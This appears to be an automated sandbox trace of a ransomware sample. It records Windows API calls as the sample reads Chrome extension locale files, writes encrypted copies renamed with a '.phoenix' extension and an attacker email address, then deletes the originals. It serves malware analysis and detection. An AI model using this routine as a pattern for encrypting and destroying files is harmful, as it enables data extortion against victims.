	[0260.195] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0260.195] CryptDestroyKey (hKey=0x151740) returned 1
	[0260.195] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0260.195] CryptDestroyKey (hKey=0x151040) returned 1
	[0260.195] CloseHandle (hObject=0x2c0) returned 1
	[0260.195] CloseHandle (hObject=0x254) returned 1
	[0260.195] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json")) returned 1
	[0260.196] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0260.196] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.197] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=179) returned 1
	[0260.197] CloseHandle (hObject=0x254) returned 1
	[0260.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json")) returned 0x20
	[0260.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.197] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.197] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.197] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.198] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.198] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151140) returned 1
	[0260.198] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.198] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xb3, lpOverlapped=0x0) returned 1
	[0260.199] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0, dwBufLen=0xc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0) returned 1
	[0260.200] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc0, lpOverlapped=0x0) returned 1
	[0260.201] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151040) returned 1
	[0260.201] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.201] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0260.201] CryptDestroyKey (hKey=0x151040) returned 1
	[0260.201] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0260.201] CryptDestroyKey (hKey=0x151140) returned 1
	[0260.201] CloseHandle (hObject=0x254) returned 1
	[0260.201] CloseHandle (hObject=0x2c0) returned 1
	[0260.201] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json")) returned 1
	[0260.202] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0260.202] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.203] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=179) returned 1
	[0260.203] CloseHandle (hObject=0x2c0) returned 1
	[0260.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json")) returned 0x20
	[0260.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.203] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.203] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.203] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.203] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.204] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1515c0) returned 1
	[0260.204] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.204] ReadFile (in: hFile=0x2c0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xb3, lpOverlapped=0x0) returned 1
	[0260.205] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0, dwBufLen=0xc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0) returned 1
	[0260.205] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc0, lpOverlapped=0x0) returned 1
	[0260.206] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151300) returned 1
	[0260.206] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.206] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0260.206] CryptDestroyKey (hKey=0x151300) returned 1
	[0260.206] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0260.207] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0260.207] CloseHandle (hObject=0x2c0) returned 1
	[0260.207] CloseHandle (hObject=0x254) returned 1
	[0260.207] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json")) returned 1
	[0260.208] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0260.208] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.209] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=179) returned 1
	[0260.209] CloseHandle (hObject=0x254) returned 1
	[0260.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json")) returned 0x20
	[0260.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.209] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.209] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.209] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.209] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.210] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151300) returned 1
	[0260.210] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.210] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xb3, lpOverlapped=0x0) returned 1
	[0260.211] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0, dwBufLen=0xc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0) returned 1
	[0260.211] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc0, lpOverlapped=0x0) returned 1
	[0260.212] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151480) returned 1
	[0260.212] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.213] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0260.213] CryptDestroyKey (hKey=0x151480) returned 1
	[0260.213] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0260.213] CryptDestroyKey (hKey=0x151300) returned 1
	[0260.213] CloseHandle (hObject=0x254) returned 1
	[0260.213] CloseHandle (hObject=0x2c0) returned 1
	[0260.213] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json")) returned 1
	[0260.214] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0260.214] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.215] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=179) returned 1
	[0260.215] CloseHandle (hObject=0x2c0) returned 1
	[0260.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json")) returned 0x20
	[0260.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.215] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.215] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.215] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.215] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.216] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151040) returned 1
	[0260.216] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.216] ReadFile (in: hFile=0x2c0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xb3, lpOverlapped=0x0) returned 1
	[0260.425] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0, dwBufLen=0xc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0) returned 1
	[0260.425] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc0, lpOverlapped=0x0) returned 1
	[0260.518] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151080) returned 1
	[0260.518] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.518] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0260.518] CryptDestroyKey (hKey=0x151080) returned 1
	[0260.518] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0260.518] CryptDestroyKey (hKey=0x151040) returned 1
	[0260.518] CloseHandle (hObject=0x2c0) returned 1
	[0260.519] CloseHandle (hObject=0x254) returned 1
	[0260.519] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json")) returned 1
	[0260.520] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0260.520] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.520] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=179) returned 1
	[0260.520] CloseHandle (hObject=0x254) returned 1
	[0260.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_br\\messages.json")) returned 0x20
	[0260.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_br\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
